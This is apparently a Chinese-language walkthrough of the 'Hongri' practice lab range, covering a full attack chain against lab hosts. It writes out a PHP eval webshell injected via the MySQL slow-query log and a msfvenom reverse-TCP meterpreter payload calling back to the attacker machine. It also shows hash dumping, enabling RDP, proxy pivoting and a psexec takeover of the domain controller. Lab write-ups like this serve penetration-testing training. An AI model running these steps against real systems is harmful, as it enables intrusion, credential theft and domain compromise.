红日靶场1
网络拓扑图
本次实验攻击机为kali:192.168.60.128,web服务器为win7(双网卡,192.168.52.143/192.168.60.139),域内主机win2008 R2:192.168.52.138,win2003:192.168.52.141
注意关闭win7的防火墙,启动phpstudy服务
信息搜集+外网打点
先扫描一下外网web服务开放了哪些端口(用Windows)
1 | nmap.exe -A -p 1-65535 192.168.112.139 |
发现开启了80和3306端口(mysql默认端口)
访问一下80端口,是一个phpstudy探针
扫一下目录(推荐用kali)
1 | dirsearch -u http://192.168.112.139/ |
开启了phpmyadmin,使用root/root即可登录后台
有个CMS admin的账号和密码,数据库里面没有什么可用的信息了,尝试写马
1 | SHOW VARIABLES LIKE "secure%" |
回显NULL,说明不能正常写入,看看慢日志
1 | SELECT @@slow_query_log |
为0,未开启,我们设置其为1
1 | set global slow_query_log = 1 |
继续查看一下慢日志路径
1 | SELECT @@slow_query_log_file |
显示C:\phpStudy\MySQL\data\stu1-slow.log
,改变路径
1 | set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php' |
执行慢日志查询,插入一句话木马
1 | select "<?php eval($_POST[log]);?>" from yx_admin where sleep(11) |
getshell的另一种姿势
我的dirsearch没扫出来…..
可以找到一个beifen.rar文件以及一个/yxcms目录,该页面有admin的登录方式,admin/123456进入后台,可以发现一个前台模板的功能,该功能可以上传文件
上传后可以在beifen.rar中找到路径是啥(搜索acomment.php即可)
getshell
拿下shell后信息搜集
getshell,蚁剑连接,是管理员权限
是否存在域
内网环境分为域环境和非域环境,两者环境的渗透是不一样的,所以此时我们需要判断当前主机是否处在域环境中
这里有几种方法可供选择:
(1)net time /domain
- 如果当前主机处于工作组中未加入域,则显示找不到域控制器
- 加入了域,且当前用户为本地用户包括本地管理员,则显示拒绝访问
- 加入了域,且当前用户域用户,则显示域控的时间
(2)ipconfig /all
当前主机如果是工作组中,则主DNS后缀为空。如果加入了域则主DNS为域名
- 工作组:只要没有加入域,主机的网卡不管有没有自定义dns服务器ip。 执行 ipconfg /all 后主DNS后缀都为空
- 域环境:只要加入域,不管当前用户为域用户还是本地用户,主DNS的后缀都为域名
(3)systeminfo
- 工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名
- 域中,不管此时是什么用户登陆。查询的域是域名
明显可以看出该主机在域内,有必要进行后渗透,拿下域控
网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况
1 | 1.ipconfig 看所处网段是否有多个 |
翻文件 txt 类型的 看是否有密码
1 | dir /s /b "C:\Your\Directory\Path\*.txt" |
后渗透
后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。
cobalt strike(简称CS)及Metasploit(简称msf)各有所长,cs更适合作为稳控平台,msf更适用于与各类 内网信息搜集及漏洞利用。为了取长补短,我们通常会进行联动。
基于msf
这里的思路是将shell派送给CS或者msf进行下一步渗透。使用msf生成exe并开启监听(也可以用cs生产exe):
1 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.60.128 LPORT=9999 -f exe -o hack.exe |
将该exe文件上传到目录
kali执行
1 | msf6 post(multi/manage/shell_to_meterpreter) > use exploit/multi/handler |
运行hack.exe
1 | hack.exe |
sessions -i
查看接收到的所有会话
1 | sessions 1 |
成功上线
上线后的信息搜集
输入?可查看可使用的命令
扫描内网存活主机
1 | run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24 |
提权
查看msf的提权
1 | run post/multi/recon/local_exploit_suggester |
1 | getuid查看服务器权限 |
成功提权
抓取域用户的密码信息
1 | Windows系统下的hash密码格式为: |
1 | 以下3种都可尝试 |
远程连接
检查3389端口是否开启
1 | 3389 端口是远程桌面协议(Remote Desktop Protocol,简称 RDP)的默认端口。 |
1 | nmap -p 3389 192.168.112.140 |
可以看到是关闭了的,应该是防火墙阻拦
使用run post/windows/manage/enable_rdp
开启端口,再次扫描发现已经开启
基于cs
生成exe文件,上传并运行
成功上线,然后有现成的权限提升功能以及密码明文抓取
建立反向代理
正向代理就是指内网机器如果不能直接连到外网,建立正向代理可以连到外网,而反向代理则相反,是外网主机想要进入内网建立的代理。
首先新建一个路由
1 | run autoroute -s 192.168.52.0/24 |
查看路由
1 | run autoroute -p |
挂起会话,建立socks
1 | background |
exploit后就挂起了一个job
然后修改/etc/proxychains4.conf文件
测试一下,发现可以成功访问到内网
内网信息搜集
arp 探测内网存活主机
1 | use post/windows/gather/arp_scanner |
扫到内网还有两台主机:192.168.52.138/192.168.52.141
也可以使用udp协议发现内网存活主机(有点慢)
1 | use auxiliary/scanner/discovery/udp_sweep |
域信息搜集
1 | net time /domain #查看时间服务器 |
内网存活服务探测
1 | auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 |
查看域信息
1 | net view |
查看主域信息
1 | net view /domain |
横向渗透
端口扫描
1 | proxychains nmap -sT -Pn 192.168.52.141 |
1 | proxychains nmap -sT -Pn 192.168.52.138 |
这之后尝试了永恒之蓝,但并未成功拿下shell
psexec攻击直接拿下域控
点击抓取明文密码,然后点击这里
右键我们要拿下的域控主机
选择psexec,进行如下配置
监听器选择的是Beacon SMB
最后即可顺利拿下域控